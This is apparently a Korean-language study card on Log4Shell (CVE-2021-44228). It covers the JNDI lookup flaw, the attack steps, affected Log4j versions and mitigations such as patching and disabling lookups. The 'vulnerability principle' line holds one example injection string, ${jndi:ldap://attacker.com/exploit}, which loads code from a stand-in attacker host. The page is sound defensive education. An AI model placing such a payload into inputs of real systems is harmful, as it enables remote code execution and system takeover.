Learning
토픽 104 / 210·사이버 공격 및 위협

Log4Shell (CVE-2021-44228)

Log4Shell (CVE-2021-44228)

Apache Log4j 라이브러리의 원격 코드 실행(RCE) 취약점(CVE-2021-44228)으로, 2021년 12월 발견된 심각도 10.0의 제로데이 취약점으로 전 세계 수백만 시스템에 영향을 미친 역대 최악의 취약점 중 하나

목적(공격자): 원격 코드 실행, 시스템 장악, 데이터 탈취, 랜섬웨어 배포

특징: CVSS 10.0, 원격 코드 실행, 인증 불필요, 광범위한 영향, 간단한 공격(로그만 있으면)

취약점 원리: Log4j의 JNDI(Java Naming and Directory Interface) Lookup 기능 악용 → 로그 메시지에 ${jndi:ldap://attacker.com/exploit} 포함 → Log4j가 외부 서버에서 악성 클래스 로드 → 원격 코드 실행

공격 시나리오: ① 공격자가 로그에 기록될 입력(User-Agent, 파일명 등)에 JNDI 페이로드 삽입 → ② Log4j가 로그 기록 시 JNDI Lookup 실행 → ③ 공격자 서버에서 악성 Java 클래스 다운로드 → ④ 원격 코드 실행 → ⑤ 시스템 장악

영향 범위: Log4j 2.0-beta9 ~ 2.14.1, Java 애플리케이션(Spring Boot, Kafka, Elasticsearch, Minecraft 등), 수백만 시스템

발견 경위: Minecraft 서버에서 최초 발견(채팅 로그 악용), Alibaba Cloud 보고, Apache 긴급 패치

대응 방법: ① 즉시 패치(Log4j 2.17.1+) ② 임시 완화(formatMsgNoLookups=true, JNDI 비활성화) ③ WAF 룰 추가 ④ 취약점 스캔

교훈: 공급망 보안, 종속성 관리, SBOM, 빠른 패치, 보안 기본 설정

장점(공격자): 간단한 공격, 광범위한 영향, 인증 불필요

단점(공격자): 빠른 패치 배포, 높은 관심도, 탐지·대응 활발

적용사례: 랜섬웨어 배포, 크립토마이너, 봇넷, 데이터 탈취

비교: Log4Shell(RCE/심각도10) vs Heartbleed(정보유출) vs Shellshock(Bash RCE)

연관: Supply Chain Attack, JNDI, Apache, 제로데이, CVE